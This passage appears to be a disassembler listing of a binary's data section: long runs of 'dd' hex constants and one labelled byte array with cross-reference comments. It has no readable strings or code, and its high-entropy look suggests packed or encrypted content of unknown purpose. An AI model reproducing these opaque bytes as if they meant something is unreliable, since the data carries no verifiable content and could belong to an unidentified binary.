		dd 0C160E8FAh, 363730B4h, 0A6A5D131h, 2E516D02h, 0C30CBD31h
		dd 6CE9A4C8h, 22444B16h, 4F30264Ch, 25210ABh, 6769E091h
		dd 46A438A8h, 51B1CC98h, 110DD1EBh, 29D9AC07h, 73C4DA30h
		dd 27E01DDDh, 551241C1h, 0D0F00C3Fh, 2F1AD26Fh,	61413BE5h
		dd 18E277B4h, 7508AB30h, 64A5B68Ch, 17F7409Fh, 0A3FFABh
		dd 14385B40h, 0DEC02443h, 82EED900h, 0CCEDE7B7h, 0FB2C00BBh
		dd 3DCD540Fh, 2DE4BF35h, 217008DFh, 0C13A6h, 415965B9h
		dd 0E2CE8A5Fh, 0F400FAB8h, 57B3EDC9h, 0F3320E7h, 4CB81471h
		dd 2A81CE41h, 4B4ADC2Ch, 0CD2D220Ch, 0EC51B5h, 0D4C9021Fh
		dd 0CBB496DDh, 0EFEE4400h, 0FA6426D1h, 0FC86018Dh, 927C11CAh
		dd 14B8D71Ch, 240382CBh, 9E40624Ch, 9DD80077h, 5A688612h
		dd 3600BA47h, 0E9A81EFh, 1380B2h, 0C59861E1h, 948A8832h
		dd 0D578F200h, 0F92A3916h, 0E70800DEh, 1436CD66h, 0B239CB30h
		dd 0F6139CB9h, 89284A40h, 162A855Ch, 1DC58D27h,	6BD6C0C6h
		dd 58F88E03h, 7C00C7F2h, 40365F91h, 56597Fh, 162F5CB4h
		dd 0A1E298D0h, 0DC37DB00h, 0E769A4CEh, 0CD700F60h, 15C691B3h
		dd 0F7008013h, 5B39E1ADh, 0B836FEh, 0A9829F21h,	98484B19h
		dd 3B0D2500h, 534AD9D5h, 5B9B00D6h, 0A014CAA1h,	0F600B3FEh
		dd 0DF459391h, 15DD86Bh, 65B0C23Ch, 0ECD65B8Bh,	397C3016h
		db 30h
byte_520045	db 0CDh, 49h, 40h	; DATA XREF: ___:0043D318o
					; ___:0043D330o
		dd 1EDCBFFDh, 7F7FDAF2h, 0D4547100h, 29BC4EC4h,	1BD1C0Ch
		dd 60C082h, 5DEE1027h, 4CDE7CE3h, 1FD35301h, 58FA058Bh
		dd 73FDFA87h, 0C0FDBF6Fh, 0F5E8BE50h, 0E008204h, 0CFBDB1ACh
		dd 555EC06h, 66F62B5Eh,	0DCA8078Eh, 1C1579h, 0B87D9D80h
		dd 0B50E5224h, 0C0CDF63Eh, 6164E833h, 0E71A0093h, 8A39E95Ah
		dd 0D61486D8h, 0C1C004C4h, 36CA9119h, 0FC001CDEh, 0A4D5317Ah
		dd 58E76594h, 0E3008BA8h, 0CE5456CFh, 0D006460h, 0E0414008h
		dd 0A5B3C7h, 533E2019h,	8F45DBB7h, 3B037100h, 2F5DEABh
		dd 1CBE05Fh, 49E6397Eh,	87FBF28Bh, 0FE612140h, 0C8F70AD3h
		dd 19B38AEh, 3CFF57E2h,	20C2C78Dh, 1407B320h, 761039EDh
		dd 506A1930h, 65291459h, 950C8021h, 4C483593h, 0C6FF7302h
		dd 80D8F4D4h, 0A7E911EAh, 4FA50063h, 4C8640E8h,	0A0C48F8h
		dd 4025B1C1h, 18BD00D8h, 6CBBD741h, 0DB045DAh, 1650DC18h
		dd 76E95380h, 3A4F1E66h, 0C0688Bh, 7E67833Fh, 0A368096Ah
		dd 20C4503h, 0A0614605h, 8E43CEh, 5D3B91C9h, 0D22D6D18h
		dd 5F441D01h, 63134C79h, 0D58C8h, 0C2150B73h, 43B53147h
		dd 90FCD01Ch, 0F92CB480h, 33E06Bh, 0E32D60F0h, 0F643F80Dh
		dd 0CC6FE607h, 4BE3B046h, 0F5A9907Fh, 8A730075h, 51D11698h
		dd 3A04041Bh, 6D81B35Dh, 8BFB8080h, 66FF0082h, 4B31CBA2h
		dd 144C4127h, 1BCC003Ch, 913D57E3h, 15521CD9h, 3A511D3Fh
		dd 0D0040CDh, 0AEAD567Ch, 0A0005096h, 0B7B959E3h, 0F673AF18h
		dd 43B226B0h, 1B4C0054h, 69EF539Eh, 11B74F00h, 0F5CF3946h
		dd 20E46088h, 0E91D67EDh, 61E6DB07h, 0E5706407h, 9A1680h
		dd 12853391h, 4E01D9B8h, 0EF503200h, 214CCA44h,	0D7880011h
		dd 0B786296Fh, 0BB00CE96h, 15BEC3BDh, 14D455Dh,	2A469C52h
		dd 20A643CDh, 8B00A801h, 45514C41h, 14E7EFCCh, 2087FFFDh
		dd 187779E1h, 196F00EBh, 0DCB913F5h, 9133A3Eh, 0CC22A52Ch
		dd 0D091E07Ch, 0CFF8F138h, 0F7F8ED7Eh, 0EFC9017Dh, 0E93307E8h
		dd 951D4D5h, 0A7615300h, 54B8F06h, 0ECF1006Fh, 32849C02h
		dd 0FA791BB7h, 486BA100h, 67C4ED49h, 0FCE498C9h, 773000A9h
		dd 60FED420h, 88074065h, 0A2DEC794h, 7DCF1533h,	85D64429h
		dd 44F86E44h, 0CE440CDAh, 702284C1h, 239C2264h,	0FBB2F810h
		dd 0E108DD21h, 84809093h, 7944BEA7h, 970013D5h,	2BA14C85h
		dd 21CA0030h, 0A0A7F835h, 1DEE37D1h, 1F9D4D00h,	58446EE1h
		dd 0C78002CEh, 468DB5D8h, 0BC80A189h, 0DB083474h, 0A637A100h
		dd 78957DD2h, 0E2140046h, 0D44577E3h, 43006236h, 0BC2C583Ch
		dd 1936FCCh, 6B9403C7h,	0F8B01510h, 400F380h, 852BB8A3h
		dd 36756h, 980A30B1h, 5E7BD261h, 0BDB4AD00h, 3CCFBF20h
		dd 0B11B0065h, 0EE7F74FBh, 5900F296h, 41895B3Ah, 3166403h
		dd 630525C6h, 48D09A32h, 1C5C4A68h, 0B26C008Dh,	79003FAh
		dd 615B006Eh, 8E0B0681h, 0E80E2097h, 7594BBCFh,	60DC0784h
		dd 0A8304780h, 0FCA1F74h, 208DA424h, 9E062C60h,	320268F6h
		dd 0A1EB908Fh, 0E6B1C05Dh, 42EA0E07h, 9861D7A3h, 43B675E7h
		dd 24D08890h, 0F2005771h, 6EE63ECCh, 0C5C622h, 50CA6555h
		dd 0F8111CB4h, 94007572h, 12A36702h, 4CD5CF30h,	2A00D951h
		dd 2795C099h, 8E183177h, 6A10AFBAh, 0DC2900C2h,	8C1BB80Ah
		dd 1900E3BDh, 0BA921EF6h, 94CBBFh, 307BD597h, 66214F9Bh
		dd 0DDA83600h, 85F4D328h, 1ABB009Dh, 52F66A41h,	4E3FAC2Eh
		dd 5C49807Fh, 0E03FE861h, 10BF4C82h, 24DC6E00h,	2CD0E7D5h
		dd 202FE900h, 4A715FF3h, 0A18700B0h, 21B2AA4Ch,	760F7BBCh
		dd 80AC2B50h, 0A79BF5AFh, 44400E2h, 4A59B21Dh, 27000854h
		dd 10F91A69h, 5EF714h, 0C074E887h, 518C7D2Dh, 4922BD00h
		dd 1DDF86Ah, 76090080h,	0A4AEA9F3h, 7A042BE6h, 0B64D3C8h
		dd 775298D1h, 0C0B448h,	0BC0A9B8Fh, 0F7CB1E43h,	0D65EA700h
		dd 0CD072673h, 5A212EE2h, 1F530E07h, 5695A503h,	86092BC8h
		dd 336A051Fh, 66259980h, 0A88D63h, 5E6C8B38h, 5BFC7D11h
		dd 74183C00h, 0DB4A7D2h, 0F5D10037h, 0DD4F9DAAh, 6298333Ah
		dd 810B52F6h, 80ABF908h, 6D61C9Bh, 53E655h, 8461050Eh
		dd 686CEF98h, 0BDF19000h, 7AF9C160h, 0AE4700F0h, 187B989h
		dd 7000AF77h, 0D237B44Ah, 90F2D967h, 28C638CAh,	1CCEE780h
		dd 926C0BABh, 74C9F400h, 5C67B6B1h, 0A30109EEh,	8C80F18Ch
		dd 0C9B3D418h, 0DD109800h, 0B1512B49h, 0CDAA074Bh, 80175BE3h
		dd 9AEB8329h, 67BC7100h, 0B53C9CB7h, 0E9220091h, 69F60F3Bh
		dd 0E1721C31h, 88A53512h, 5C947401h, 0C9F468B3h, 24270BE0h
		dd 2C80C444h, 0B97DABFEh, 7F079607h, 0E1677405h, 0C880D633h
		dd 0A996A06h, 163B541Bh, 27130084h, 0B32833A0h,	2DA69D00h
		dd 3017423Ch, 0F4A52ED7h, 0D24D1EB1h, 3130038Ch, 0ABB91D70h
		dd 6F3ED8EFh, 8BE5424h,	0A02803Ah, 0EC53BD27h, 92885CDFh
		dd 0FA97F100h, 3BF58AE3h, 0FFF2990Ch, 1C719463h, 4F12BE44h
		dd 0FD834ABDh, 2BE9EAD1h, 0A41024F7h, 9E319C00h, 0D4FB18CDh
		dd 5D5A0097h, 0E0620D8Eh, 0B300789Bh, 664A9F8Fh, 0C091A1DAh
		dd 86D1DCF8h, 0DE01E559h, 52156857h, 0BCCE19Bh,	41F600CDh
		dd 0AF7D21C8h, 0EC54A03Ah, 7000F8ECh, 0E09274F5h, 5444A7h
		dd 4C1B1A2Dh, 3437D90Ah, 0ABE88F00h, 31A98909h,	58B700DBh
		dd 5BBB7B20h, 5700B251h, 36AF169Ch, 0B8E1ACh, 0BD0F83A2h
		dd 0D4690ECFh, 0B51EF700h, 0F4085B99h, 0A403581Ah, 7F837900h
		dd 0B2EFFACFh, 0B551321Eh, 0F3774B80h, 309CB4Dh, 0A1FB751Ah
		dd 0AEE8BFB0h, 0F40038D5h, 722AB747h, 594F6h, 287AF503h
		dd 5C5BE134h, 0E9798C00h, 64F03E42h, 0B1EA0FC8h, 3820816Ch
		dd 0CF2EC3DEh, 0D6EA7972h, 82A97200h, 0C4F5ED59h, 0E6120BB6h
		dd 5C807603h, 51F0A0C1h, 0C8437B0Fh, 0F61701AAh, 0B6E8531Ch
		dd 4F840093h, 892B6B0Fh, 98E0014Dh, 2C6F7C39h, 1B004412h
		dd 76E5BF59h, 0E1CD0073h, 14B84F3Fh, 7C00D2DDh,	389EDE07h
		dd 1F8E423Bh, 80F77281h, 0C5F40B08h, 363B2EB7h,	0AB5B0045h
		dd 212D5ED9h, 0EAC01702h, 62A000B2h, 9CE0883Ah,	49567707h
		dd 7EF792h, 11F38780h, 0FB9600EDh, 0E83A7D23h, 1B00C62Eh
		dd 178070A2h, 8A72D1h, 209B282Fh, 0B785EB60h, 0A03C5400h
		dd 885E6E6Fh, 0F4870FD0h, 0D3E3287Dh, 0DDE8C07Ch, 0CB00B8FEh
		dd 0B1EF23E6h, 45CAEEh,	0BB7A987Bh, 0D3C125E7h,	0D2B3B800h
		dd 0C9500188h, 0E2CBE09Bh, 0D97512FAh, 250041B6h, 0C3670C7Dh
		dd 85AFF005h, 8C00A2BFh, 0B9C04ACAh, 5059E801h,	8D8E1h
		dd 48D1DDDCh, 0F3116DA5h, 5B0EF47Ch, 653A2Dh, 2FF2A383h
		dd 1090984h, 81001D82h,	88576FA1h, 47551000h, 93807904h
		dd 133A00F1h, 3E184DE2h, 2D12CDD9h, 60002FD6h, 29FD056Ah
		dd 204726FBh, 3DF40066h, 0FEE05F72h, 2EA4884Ch,	0C1077155h
		dd 0EC400F90h, 1821CFBEh, 0D8F1B340h, 68062F18h, 0FC9F9B87h
		dd 0CA121722h, 484E0054h, 4229C1F8h, 5F2C7E00h,	5909A7B8h
		dd 8B23003Ch, 60C34ADFh, 3300B451h, 829FE5DEh, 7C30B78Ch
		dd 49A50013h, 90B25B7Bh, 9A3DF18Eh, 9CA87F27h, 370C55CFh
		dd 10BC2AF6h, 5C140092h, 0A1470F15h, 2E075D18h,	0A36155CBh
		dd 6DDBA230h, 337746Fh,	178FE42Ch, 0DF98097Fh, 0B100D460h
		dd 0C101E396h, 18158DD6h, 0E0F3EE8Eh, 49AA571h,	7B286174h
		dd 0AA03E80Fh, 0E029C29h
		dd 0EAF0A020h, 3AB30070h, 38768ECCh, 89036442h,	0FEBCBBE5h
		dd 1C705081h, 0EEAA02E3h, 0A866559Eh, 0D900737Eh, 5CA7C9CCh
		dd 81680093h, 54176E1Dh, 78003BE5h, 4A314548h, 533C8Fh
		dd 0C5023708h, 212087A0h, 0D3914D60h, 57E95Bh, 0AB8DAFBEh
		dd 42E1BCD4h, 7CA9C500h, 0F9BD2827h, 40F4DEB9h,	2B6EBF51h
		dd 0E90064C4h, 46C7F7A3h, 2694C23h, 5FFDCD7Ch, 3060D09Ch
		dd 45B6BC8Ch, 880D14h, 0E5F59777h, 140E71BAh, 849565F3h
		dd 7401F73Fh, 72F18766h, 8046BC24h, 2AC063ACh, 166786EBh
		dd 1CB534C5h, 9B9C8965h, 38171020h, 1CE2F330h, 58C87F00h
		dd 392504C4h, 176F2D6h,	3CCD062Dh, 0CA6895E8h, 0A40765C2h
		dd 2BF95010h, 5702C0DEh, 15742E27h, 0D2EDC0B5h,	0FBDE431h
		dd 3F55B734h, 0B2B83EE0h, 4100D67Ah, 0E6384AF6h, 6B76FAh
		dd 0A98A63DFh, 0FBFD0310h, 4A1B2F00h, 6C4C8226h, 1C2729Ch
		dd 6D68BB17h, 40838BAEh, 0A499F484h, 8091FC7Ah,	0FFF9C00h
		dd 1DF70777h, 80AC44ABh, 88723137h, 0D800911Bh,	52CAC508h
		dd 78918CEh, 1A98A0E9h,	382BF058h, 110183CBh, 78C3960h
		dd 7C22B827h, 80BDFF00h, 0D1E81BEFh, 0EB2D4F00h, 0B26D64ABh
		dd 7FFA0099h, 0E2750320h, 2F345482h, 87053E8Eh,	0DC40FF04h
		dd 9E105AB0h, 0E26C0095h, 86822EE3h, 83A4243h, 5364801Bh
		dd 147F814Bh, 3B90C9h, 2C40BE71h, 2926EF61h, 0C23661Dh
		dd 0F962A001h, 0A664465Ah, 27C30AB4h, 7F41F0Bh,	0B75234h
		dd 4D48B971h, 0C4648400h, 0BEB86E1Ah, 54A00CBh,	0F770423Eh
		dd 0DA07E60Eh, 15C8DF44h, 0F48DD590h, 0A75F0001h, 721C2C8Ch
		dd 40380680h, 0AC4E8010h, 11753CB0h, 0D3D900B7h, 7EF98594h
		dd 0E70E1DD5h, 0E0CA45FAh, 9B128614h, 40DC07B1h, 3DEF13h
		dd 394EC17Fh, 71BF3A5Ch, 51ECCB1Eh, 0A902D193h,	825E4F7Eh
		dd 25607B94h, 67F08C19h, 29003BEEh, 542C70C6h, 5C033Dh
		dd 0BE878847h, 96A1A84Eh, 0D99A4D00h, 5336896Bh, 0B5FB1DEDh
		dd 0F6800060h, 43BB65D6h, 0C98320E1h, 0E5360800h, 0D1C8336Bh
		dd 4DE492FFh, 0B79789Bh, 0D898E29Ch, 592F0800h,	147074AFh
		dd 0B9C57D00h, 0F8A017C2h, 15460761h, 0C0FF4819h, 846A8EE6h
		dd 258A3F00h, 0FAB3A343h, 351017DFh, 0E3BB079Ch, 6D1D70EAh
		dd 7E0739FEh, 0B4D329F0h, 0C52CE30h, 0F1A09B9h,	0A80197CCh
		dd 0E9EA9E86h, 17A5EC22h, 8C1F9D00h, 343F60DDh,	1DBF0BD4h
		dd 800B2E6h, 793CFDC4h,	74973Ah, 0A223D6D9h, 0D78B56h
		dd 811AF807h, 0AF0629D2h, 4D68FD00h, 9842F544h,	327101E1h
		dd 7CDA640Fh, 8C462EDh,	427E49BEh, 0B92435BDh, 40D63490h
		dd 8E19C77Dh, 644C90FDh, 0A201B228h, 0ED7FAFA7h, 0B4E07A8Bh
		dd 29E72DAh, 0DC74438Eh, 0C4C02599h, 83003521h,	9AF5A2EEh
		dd 0B0335E68h, 810D0104h, 241A3EF7h, 1B45F86Eh,	0A6B2C300h
		dd 0ACCFA15Eh, 4C5400B9h, 3159E6BFh, 290047E7h,	0DD5CA6E8h
		dd 0ACA21Ch, 64D7EBB4h,	231B8DABh, 0A43C6D00h, 0F96CA59Eh
		dd 0BA96071Eh, 55C06535h, 32F44F9Ah, 42959022h,	0E192C0E0h
		dd 4CFE3A01h, 94D64419h, 0A78C1980h, 0BFC6F60Ch, 0C4448158h
		dd 50801694h, 2FB34Bh, 10033A8Dh, 23D73360h, 0FDFB040Fh
		dd 7F8EC048h, 24877E26h, 803C71B2h, 78FB52B4h, 4400AC82h
		dd 6626148Bh, 26A37ECh,	0AACFDABEh, 78606448h, 1609F41Ah
		dd 86FB23h, 0EC7603D8h,	0AF993F38h, 36595782h, 9CE0CE32h
		dd 0D300CF63h, 694BE30Fh, 0A0358497h, 3D074D0h,	1E78152Dh
		dd 0ADB0CA88h, 0ED0FDC29h, 80EF7157h, 0B51D5660h, 0BDFAC0h
		dd 9205F90h, 8C6B29B9h,	2AD32603h, 0B4B7F3A3h, 0B9910A0h
		dd 0E3ADE09Dh, 0D308E982h, 700BE841h, 0B1001E5Ah, 28C9B26Bh
		dd 148333E9h, 0F5583D04h, 0A90AFB03h, 5EA0AFBCh, 0FD00457Bh
		dd 0CBEE50B9h, 0F1D5D88h, 0C6554174h, 4B1FEBAEh, 0A480C7E3h
		dd 0CFB78AF5h, 30205E00h, 5CC6284Bh, 72D63F1Dh,	13CADC8Eh
		dd 4CD2C0A0h, 0F750FB76h, 0E80FECE0h, 0A0FD9B22h, 75875E31h
		dd 57460089h, 971B3458h, 0F5B005D6h, 0D9EBB8FCh, 8038809Dh
		dd 6AC05C1Ch, 0F24F76B5h, 28FA0169h, 8E941BF5h,	21618ECAh
		dd 90DBA52Ch, 0DCCD4CD0h, 6811D62h, 0DD6780F4h,	0E720F259h
		dd 9256D800h, 1AD1F93Dh, 732F00A6h, 67852D01h, 3E2CC040h
		dd 0A0805C31h, 524298C2h, 1B5C0059h, 2DA5668Fh,	1600187Ch
		dd 0F084A957h, 0BFDF97h, 0A154D0C1h, 0B80981D6h, 0EDF9BC00h
		dd 0B63F1EE3h, 41452E4Eh, 15670060h, 3DBC6062h,	3A6FF007h
		dd 40B90BE7h, 6E4898h, 0CDE2D002h, 18091D4Fh, 5A091576h
		dd 10886FB1h, 7D43C3Ch,	4FCCDB07h, 2C042B55h, 0C7F38493h
		dd 206AD018h, 0BD00387Fh, 4A720D69h, 153D67Dh, 9BADC494h
		dd 341E4D86h, 0C3309D08h, 0B0888102h, 0E1D41D7Eh, 0DE4200A9h
		dd 3529DD3h, 0EA8621C3h, 0C739001Fh, 0AE596E93h, 65186CFCh
		dd 95182A4Fh, 3D6F7D0Ch, 9A81A51Eh, 9EC680B8h, 0C8E4F4BDh
		dd 5F38A200h, 9CDC6021h, 161E0337h, 2615A72Dh, 0A5144171h
		dd 1897B35Dh, 0C3509C47h, 86B214ADh, 43305C32h,	0DC0A7398h
		dd 0EFA371Dh, 0D9101300h, 3F0D0724h, 0F480B53Ch, 7BE08D81h
		dd 3E005D4Fh, 1DFBB2DDh, 1DA6CF31h, 0C081EC7Dh,	0E8594518h
		dd 8000B7B6h, 27B94C0Fh, 1134742h, 0C6A29456h, 0E43A2E34h
		dd 0B3E01DACh, 0C4E2AA1Dh, 0D896D601h, 81E0B2DBh, 484F3EF4h
		dd 0DF367600h, 0EE42BCF0h, 9A860400h, 803D79DCh, 21CE0048h
		dd 0A3140EE5h, 0E0E6D3C4h, 94451200h, 386ABA44h, 665E004Dh
		dd 3D6CAB6h, 0B40008ACh, 1BD21DEEh, 0EC85204Ch,	0A8190024h
		dd 0CB2B4528h, 5BB8F3FBh, 550F680Eh, 5BD900D5h,	2877D0AAh
		dd 14D13BB0h, 0A07660FEh, 0A053400h, 63E2E966h,	31384C00h
		dd 0F396BCCh, 80B6097h,	0C6B1A1BCh, 0A47D7278h,	0A5FE0607h
		dd 0DC820DEAh, 8878E3CEh, 0BA575BA9h, 4AB7A2B8h, 5F041740h
		dd 341B9E00h, 3E42D669h, 32000801h, 72EA668Eh, 237BCEA8h
		dd 3086C900h, 0E51DC380h, 8FB50EE0h, 746C32FFh,	22447A29h
		dd 6CB84449h, 44501044h, 28A09677h, 0E888595Ah,	0EFF98BB7h
		dd 0FD4201E4h, 126CEB11h, 67148134h, 7E01ECA5h,	0AF8C1124h
		dd 3C875012h, 2A946870h, 0FB490828h, 145C14C4h,	79E9CF18h
		dd 2404E46h, 29486469h,	62D22098h, 80F281EBh, 0CAC29E51h
		dd 0B2A51Bh, 0A3C11D46h, 8CEA8758h, 3A782800h, 0DC6F3590h
		dd 42B0006Eh, 3C9D5C6Bh, 3E0057FCh, 0A563B364h,	7725A0Bh
		dd 0B77427C1h, 0E813F047h, 353B8FA8h, 0B4870063h, 37B50DF1h
		dd 0E0200717h, 706A14CDh, 0FE6C6529h, 0BAF3BD00h, 5C9C7918h
		dd 95E100ADh, 0C167ACDDh, 51F26881h, 66BA351Eh,	0EFF4AF00h
		dd 0E64FEB4h, 60D3E9CBh, 821B9C9h, 0E8F13DABh, 4800FC38h
		dd 0BE77DEBDh, 0F39E094h, 0A48FBFDDh, 4A5EF3C0h, 0CE07CA64h
		dd 56F7014Dh, 0AB7703EEh, 0C1F087FBh, 39300493h, 2780B059h
		dd 9E6D150Fh, 1B185DD3h, 678DAA3h, 0B31D400Dh, 32C3100h
		dd 0BFCBBAA8h, 0D38C001Ch, 0CE7F3440h, 5900D911h, 3064AF0Bh
		dd 7F7217Ch, 66749783h,	5B9D6010h, 0A50F51CDh, 4FA22B39h
		dd 3D03200Bh, 0CC0D21Ch, 40A4B9B8h, 1000460h, 0CA19E3A2h
		dd 30818AEFh, 7910E657h, 4960ABA1h, 0AAD0A36Ah,	7C3907F8h
		dd 3045B2B7h, 0E506104Ah, 5ACCD301h, 474175E8h,	70F2AC0h
		dd 6EA29DBDh, 6D33E043h
		dd 950042B4h, 0B71FDC3Fh, 48172FFCh, 0DB020A6Bh, 0E8A7DD2h
		dd 5B359BE0h, 819F553Bh, 28D0A641h, 0C1C8B008h,	0BC1000CDh
		dd 0FFE76B73h, 0AA007152h, 0B725E35Ch, 70253DDh, 0F11D9F1Bh
		dd 0B5487044h, 0BBB03719h, 0FA01CFE8h, 3533FFE3h, 0A7F0882Bh
		dd 0C24A0083h, 4F85731Ch, 9A04D942h, 31FF8D47h,	9BB408C1h
		dd 313EF20h, 2ECBC1F1h,	0EDC87EE7h, 0F500C688h,	90C3687Ch
		dd 0BDE94Ah, 0B2740DE4h, 0BBC895D1h, 0F759D800h, 9BA44466h
		dd 0E65C0054h, 41F81DC9h, 0BE1E63E7h, 0B107284Ah, 2700214Eh
		dd 4082DA8h, 17146FEh, 9D3C80A9h, 0A000EF26h, 0D2763316h
		dd 9B58D2Eh, 6D90E82Bh,	0B7317800h, 69001592h, 831704F3h
		dd 0FDAF84h, 0D06EFF7Eh, 55D50D5Ch, 6D13EA0Ch, 0BC44A7h
		dd 653A4A75h, 0B70307A3h, 59B4AC26h, 418BA000h,	3FF5ADF3h
		dd 0CC8019CEh, 615928C2h, 0E7024072h, 2B662753h, 93904833h
		dd 542E4949h, 5CA510A0h, 54C4F100h, 487691E5h, 7021001Ch
		dd 0B63502DDh, 63009C45h, 65E35641h, 3AF8CB54h,	7BCDE8h
		dd 5A032325h, 0FE56B183h, 0ACD948h, 0B8533EC7h,	735E540Ah
		dd 747507h, 0AD691746h,	3F4E93F3h, 0CD5F9A00h, 36B8DB84h
		dd 6C3E07C0h, 70D0FFDDh, 0A7AB0FF3h, 0F4381B03h, 0D092D86Bh
		dd 3B35760Eh, 0C400BBC6h, 6E9C5E6Dh, 74B85F9Bh,	61A1A200h
		dd 0C769BA54h, 0D9EF0045h, 9FAF92F5h, 0F4000AD5h, 0E8CCE41Ch
		dd 730177Bh, 1E6DF6FBh,	0B771D00Dh, 55008402h, 0C4D29228h
		dd 0E95DFC5h, 0FDCA03EBh, 0E0C900FDh, 0C2356F50h, 631FB57Fh
		dd 1824F22Eh, 0F7823F02h, 0DABC3849h, 81DD8E38h, 4108751Ah
		dd 90333214h, 70473Dh, 15BD5AEAh, 0C3A23597h, 982C9F00h
		dd 6E09FB71h, 466D1CCBh, 0E66881D1h, 4008B48Fh,	16594AD0h
		dd 60C61F00h, 7BD09409h, 3A6A07BEh, 8289B188h, 0BC400756h
		dd 5500E4D7h, 0B0CAC5FCh, 1DC95397h, 47AFE857h,	0F301BC8Ah
		dd 0ACC01FFDh, 8307E073h, 130AF4F3h, 0C8CAF8E0h, 0E3DF00CEh
		dd 98D2D42Bh, 0A7003197h, 0B59B52CFh, 41603F4h,	6AABA5B8h
		dd 50C0BBBCh, 909F6045h, 58C50095h, 0EF9BBF81h,	0FF007AB6h
		dd 0C32B43C8h, 70776Ch,	0A61187A7h, 8A3C1D22h, 52FED600h
		dd 0DADED899h, 7BAB002Dh, 864376C1h, 2E00FB67h,	0B261327h
		dd 8EE5E1h, 0AD3AF558h,	87EE5D93h, 0DC008BFAh, 0C5A0B971h
		dd 830D59h, 5294E974h, 640896FFh, 1BFE03Ah, 0FEB1368Dh
		dd 0A6FC480Ah, 11E00D9h, 562EC10Ch, 0BC006958h,	99B8C40Dh
		dd 0B3D3A8h, 0E7125C0h,	86E80F28h, 39CCB4Ch, 3AF0091Fh
		dd 0D714A09Dh, 986F00A0h, 0DA1B416Ah, 5E0E57C6h, 0E0A93FF2h
		dd 0D2A29ECDh, 0E6100FF8h, 8FC0788Dh, 0C54D08ADh, 4461012Ch
		dd 378E0200h, 6D2D13h, 987B56DDh, 91BB40D4h, 12C96B00h
		dd 302511FFh, 3FB40016h, 108EBDCDh, 2300A82Dh, 0DEE30E9Dh
		dd 76FAF7h, 4004AFCBh, 853688ADh, 66C1FF00h, 1468DC89h
		dd 706B0FCh, 38BF3D5Ah,	0F43681E1h, 0E7DED449h,	0ACBED200h
		dd 8D8FF59h, 14A898EAh,	8066B310h, 0CE79B001h, 0E4F5039Fh
		dd 4100D1E0h, 826576EDh, 6312EBh, 78E1F44Ah, 7709C698h
		dd 0B0749B0Bh, 9281FF85h, 0DBE25A2Fh, 40A0B5A2h, 96EDDF82h
		dd 0F16DB100h, 76C85B74h, 1F8004Bh, 86EEB05Eh, 9000A3F7h
		dd 3805A546h, 3F578Bh, 5DEDC7AFh, 8D52105Bh, 4E0AD400h
		dd 0E1A4BCE4h, 867B00A1h, 74348399h, 2C0063B6h,	0F42B5001h
		dd 25AFE3h, 9E021314h, 5F4D44B7h, 3C990C03h, 0E0E5196Ch
		dd 79B0B6Dh, 5BE0112Eh,	0C0DC27B4h, 30499227h, 9052C600h
		dd 0B2509EBEh, 0A68007D8h, 0F0363BB8h, 0D9EC2A9Bh, 0EDF00800h
		dd 4306B448h, 0C5D107A5h, 0E08DF418h, 5B29A9BBh, 23E15F13h
		dd 0AEFA2500h, 1BA0850Fh, 6AE85DEEh, 226244F0h,	41A4BE1Eh
		dd 0EF979DC0h, 3DB442h,	0C35CA607h, 90C0D5AEh, 0C124220Eh
		dd 80F26EADh, 0E89375DAh, 9A6E00C4h, 6150DEB4h,	0C60060AAh
		dd 0FDBA58D8h, 77C0A18h, 0B16774EAh, 0ECD3F1A4h, 5766CC17h
		dd 3980EF5Ch, 0FE3B6Dh,	7A4E4CE4h, 0DB70ADh, 0C2C7E71h
		dd 60536830h, 64A98D00h, 6FAF9A81h, 0FE25006Eh,	73E632DDh
		dd 1200F6F0h, 8059E945h, 44465Bh, 0E3D540B3h, 0C05C2A5Dh
		dd 0B104EA00h, 78B7E936h, 0DCCA00DEh, 0D1EB5ADFh, 4703C719h
		dd 8D1135C0h, 0C9FBF808h, 0FC0258C6h, 1CA39600h, 761EC844h
		dd 0DC39A903h, 88BA8D10h, 0F4F887DFh, 0AD20001Ch, 0D9C89054h
		dd 0C1098E53h, 0FB4EA6h, 7C92F0D8h, 6FAE3F0Ah, 8FBA1F79h
		dd 352480CFh, 0F859096Ch, 2DF51303h, 0A03E2779h, 3B922BD7h
		dd 0B80DC0Ah, 0D01459E4h, 0F63EAB02h, 0F1F7F25h, 0F840D6F4h
		dd 0FFE5EDEEh, 4C920095h, 4F6A8F09h, 3C0FC202h,	5FF2D986h
		dd 10008DA6h, 931C9007h, 0C71D00F7h, 0A1E8741h,	0B9142358h
		dd 7D8FE60h, 1CA162C8h,	0D3307113h, 0A4200009h,	2497B9AEh
		dd 5501DB63h, 38C84B5Eh, 95C873FAh, 960A001Fh, 58AE8ECEh
		dd 190C39ADh, 0F8543086h, 45D8B54Bh, 0A7BD1F07h, 0CC90C6D0h
		dd 283C3BFEh, 0F0C0816Ah, 5B30C087h, 39A91B8h, 49ECD802h
		dd 60808914h, 7B45808h,	796DB672h, 1084F7E9h, 893BF9DFh
		dd 5280B300h, 8636BC93h, 4C54003Fh, 37B9EAD4h, 2401BF9Eh
		dd 143CA83Bh, 8050971Eh, 3748025h, 0DA846FF8h, 80001BF3h
		dd 7ACF6487h, 0F279DFh,	787C8095h, 0E7968BF5h, 119ED001h
		dd 9372E022h, 7E6FBE4h,	0FA850D9Ch, 0E8950075h,	5F058398h
		dd 0CA59683Ch, 0BD8DEC00h, 71BF9D2h, 0D82CCD35h, 0C51E044h
		dd 0FC74C3E6h, 9F98E3B8h, 9EC9C500h, 5F80A719h,	60AE00F7h
		dd 0FB421FD1h, 55079829h, 593CD5Ah, 0FF3945D0h,	599901AAh
		dd 6F6E2DDFh, 25708002h, 0CBE6D164h, 51B0FDh, 0F114FE9Bh
		dd 3E0C5609h, 591D960Ah, 0E10094BFh, 8A51025Ah,	0BBC000B4h
		dd 3EA9A83Ah, 8909DB93h, 0F1D910Bh, 655EA119h, 8200D66h
		dd 1EA700A5h, 8211C74Fh, 0F200E564h, 0D1DCFCD6h, 3979498Eh
		dd 0D380049Ch, 6BEE8184h, 8A00420Eh, 0F6D1E25h,	79A48F48h
		dd 68361EF5h, 0E771C0AEh, 0B6E609D1h, 0FAC05503h, 1E986CE1h
		dd 80A14DD0h, 0D9115FB2h, 800AA74h, 0F07860E7h,	90CFE6h
		dd 82C509E9h, 0B6FA0F91h, 3900197Fh, 353B212Ah,	383EA5h
		dd 0F0370C0Eh, 0F5ABA198h, 0E7798C90h, 70B36900h, 67B943AAh
		dd 0EC5700EFh, 8D1B5379h, 4B0145DEh, 0A605429Eh, 0C2EC9028h
